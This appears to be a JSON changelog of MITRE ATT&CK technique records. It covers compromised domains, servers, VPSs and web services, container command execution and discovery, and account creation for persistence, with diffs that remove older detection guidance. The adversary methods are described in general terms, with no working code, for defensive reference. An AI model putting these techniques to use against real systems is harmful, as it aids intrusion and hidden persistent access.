"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Domain Name: Passive DNS\", \"Domain Name: Domain Registration\", \"Domain Name: Active DNS\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:38.448000+00:00\", \"old_value\": \"2025-04-15 22:22:55.487000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0038: Domain Name (Active DNS)",
"DS0038: Domain Name (Domain Registration)",
"DS0038: Domain Name (Passive DNS)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0863: Detection of Domains"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 00:56:25.135000+00:00",
"modified": "2025-10-24 17:49:30.616000+00:00",
"name": "Server",
"description": "Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control.(Citation: TrendMicro EarthLusca 2022) Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.\n\nAdversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or email servers to support [Phishing](https://attack.mitre.org/techniques/T1566) operations.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1584/004",
"external_id": "T1584.004"
},
{
"source_name": "TrendMicro EarthLusca 2022",
"description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022.",
"url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"
},
{
"source_name": "Koczwara Beacon Hunting Sep 2021",
"description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
"url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
},
{
"source_name": "Mandiant SCANdalous Jul 2020",
"description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
"url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
},
{
"source_name": "ThreatConnect Infrastructure Dec 2020",
"description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
"url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Dor Edry, Microsoft"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\", \"Internet Scan: Response Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:30.616000+00:00\", \"old_value\": \"2025-04-15 23:05:41.313000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0035: Internet Scan (Response Content)",
"DS0035: Internet Scan (Response Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0874: Detection of Server"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 00:55:17.771000+00:00",
"modified": "2025-10-24 17:48:40.055000+00:00",
"name": "Virtual Private Server",
"description": "Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)\n\nCompromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1584/003",
"external_id": "T1584.003"
},
{
"source_name": "Koczwara Beacon Hunting Sep 2021",
"description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
"url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
},
{
"source_name": "NSA NCSC Turla OilRig",
"description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.",
"url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf"
},
{
"source_name": "Mandiant SCANdalous Jul 2020",
"description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
"url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
},
{
"source_name": "ThreatConnect Infrastructure Dec 2020",
"description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
"url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\", \"Internet Scan: Response Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:40.055000+00:00\", \"old_value\": \"2025-04-15 23:19:04.087000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0035: Internet Scan (Response Content)",
"DS0035: Internet Scan (Response Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0854: Detection of Virtual Private Server"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 01:01:00.176000+00:00",
"modified": "2025-10-24 17:49:13.641000+00:00",
"name": "Web Services",
"description": "Adversaries may compromise access to third-party web services\u00a0that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1584/006",
"external_id": "T1584.006"
},
{
"source_name": "Recorded Future Turla Infra 2020",
"description": "Insikt Group. (2020, March 12). Swallowing the Snake\u2019s Tail: Tracking Turla Infrastructure. Retrieved September 16, 2024.",
"url": "https://www.recordedfuture.com/research/turla-apt-infrastructure"
},
{
"source_name": "ThreatConnect Infrastructure Dec 2020",
"description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
"url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Dor Edry, Microsoft"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:13.641000+00:00\", \"old_value\": \"2025-04-15 23:20:42.131000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0035: Internet Scan (Response Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0882: Detection of Web Services"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-03-29 16:39:26.183000+00:00",
"modified": "2025-10-24 17:48:59.945000+00:00",
"name": "Container Administration Command",
"description": "Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)\n\nIn Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.(Citation: Kubectl Exec Get Shell)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1609",
"external_id": "T1609"
},
{
"source_name": "Docker Exec",
"description": "Docker. (n.d.). Docker Exec. Retrieved March 29, 2021.",
"url": "https://docs.docker.com/engine/reference/commandline/exec/"
},
{
"source_name": "Docker Entrypoint",
"description": "Docker. (n.d.). Docker run reference. Retrieved March 29, 2021.",
"url": "https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime"
},
{
"source_name": "Docker Daemon CLI",
"description": "Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021.",
"url": "https://docs.docker.com/engine/reference/commandline/dockerd/"
},
{
"source_name": "Kubectl Exec Get Shell",
"description": "The Kubernetes Authors. (n.d.). Get a Shell to a Running Container. Retrieved March 29, 2021.",
"url": "https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/"
},
{
"source_name": "Kubernetes Kubelet",
"description": "The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29, 2021.",
"url": "https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/"
},
{
"source_name": "Kubernetes API",
"description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.",
"url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Alfredo Oliveira, Trend Micro",
"David Fiser, @anu4is, Trend Micro",
"Brad Geesaman, @bradgeesaman",
"Center for Threat-Informed Defense (CTID)",
"Magno Logan, @magnologan, Trend Micro",
"Vishwas Manral, McAfee",
"Yossi Weizman, Azure Defender Research Team"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Containers"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:59.945000+00:00\", \"old_value\": \"2025-04-15 19:58:44.024000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Container administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container and the underlying host. In Docker, the daemon log provides insight into events at the daemon and container service level. Kubernetes system component logs may also detect activities running in and out of containers in the cluster. \"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1026: Privileged Account Management",
"M1035: Limit Access to Resource Over Network",
"M1038: Execution Prevention",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0065: Detection Strategy for Container Administration Command Abuse"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-03-31 14:26:00.848000+00:00",
"modified": "2025-10-24 17:48:20.661000+00:00",
"name": "Container and Resource Discovery",
"description": "Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.\n\nThese resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment\u2019s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary\u2019s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1613",
"external_id": "T1613"
},
{
"source_name": "Docker API",
"description": "Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.",
"url": "https://docs.docker.com/engine/api/v1.41/"
},
{
"source_name": "Kubernetes API",
"description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.",
"url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Vishwas Manral, McAfee",
"Center for Threat-Informed Defense (CTID)",
"Yossi Weizman, Azure Defender Research Team"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Containers"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Pod: Pod Enumeration\", \"Container: Container Enumeration\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:20.661000+00:00\", \"old_value\": \"2025-04-15 22:10:13.179000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Establish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level.\\n\\nMonitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Establish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level.\\n-\\n-Monitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications. \"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1030: Network Segmentation",
"M1035: Limit Access to Resource Over Network"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0014: Pod (Pod Enumeration)",
"DS0032: Container (Container Enumeration)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0490: Detection Strategy for Container and Resource Discovery"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-12-14 16:46:06.044000+00:00",
"modified": "2025-10-24 17:49:30.136000+00:00",
"name": "Create Account",
"description": "Adversaries may create an account to maintain access to victim systems.(Citation: Symantec WastedLocker June 2020) With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\n\nAccounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1136",
"external_id": "T1136"
},
{
"source_name": "Microsoft User Creation Event",
"description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.",
"url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"
},
{
"source_name": "Symantec WastedLocker June 2020",
"description": "Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021.",
"url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Microsoft Threat Intelligence Center (MSTIC)",
"Praetorian",
"Austin Clark, @c2defense"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"IaaS",
"Linux",
"macOS",
"Network Devices",
"Containers",
"SaaS",
"Office Suite",
"Identity Provider",
"ESXi"
],
"x_mitre_version": "2.6",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"User Account: User Account Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:30.136000+00:00\", \"old_value\": \"2025-04-15 19:59:14.796000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for processes and command-line parameters associated with account creation, such as net user or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\\n\\nCollect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for processes and command-line parameters associated with account creation, such as net user or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\\n-\\n-Collect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.\"}}}",
"previous_version": "2.6",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1028: Operating System Configuration",
"M1030: Network Segmentation",
"M1032: Multi-factor Authentication"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Creation)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0583: Detection Strategy for T1136 - Create Account across platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-29 17:32:30.711000+00:00",
"modified": "2025-10-24 17:49:09.917000+00:00",
"name": "Cloud Account",
"description": "Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)\n\nIn addition to user accounts, cloud accounts may be associated with services. Cloud providers handle the concept of service accounts in different ways. In Azure, service accounts include service principals and managed identities, which can be linked to various resources such as OAuth applications, serverless functions, and virtual machines in order to grant those resources permissions to perform various activities in the environment.(Citation: Microsoft Entra ID Service Principals) In GCP, service accounts can also be linked to specific resources, as well as be impersonated by other accounts for [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005).(Citation: GCP Service Accounts) While AWS has no specific concept of service accounts, resources can be directly granted permission to assume roles.(Citation: AWS Instance Profiles)(Citation: AWS Lambda Execution Role)\n\nAdversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.\n\nOnce an adversary has created a cloud account, they can then manipulate that account to ensure persistence and allow access to additional resources - for example, by adding [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) or assigning [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1136/003",
"external_id": "T1136.003"
},
{
"source_name": "Microsoft O365 Admin Roles",
"description": "Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.",
"url": "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide"
},
{
"source_name": "AWS Create IAM User",
"description": "AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved January 29, 2020.",
"url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html"
},
{
"source_name": "AWS Lambda Execution Role",
"description": "AWS. (n.d.). Lambda execution role. Retrieved February 28, 2024.",
"url": "https://docs.aws.amazon.com/lambda/latest/dg/lambda-intro-execution-role.html"
},
{
"source_name": "AWS Instance Profiles",
"description": "AWS. (n.d.). Using instance profiles. Retrieved February 28, 2024.",
"url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html"
},
{
"source_name": "GCP Create Cloud Identity Users",
"description": "Google. (n.d.). Create Cloud Identity user accounts. Retrieved January 29, 2020.",
"url": "https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554"
},
{
"source_name": "GCP Service Accounts",
"description": "Google. (n.d.). Service Accounts Overview. Retrieved February 28, 2024.",
"url": "https://cloud.google.com/iam/docs/service-account-overview"
},
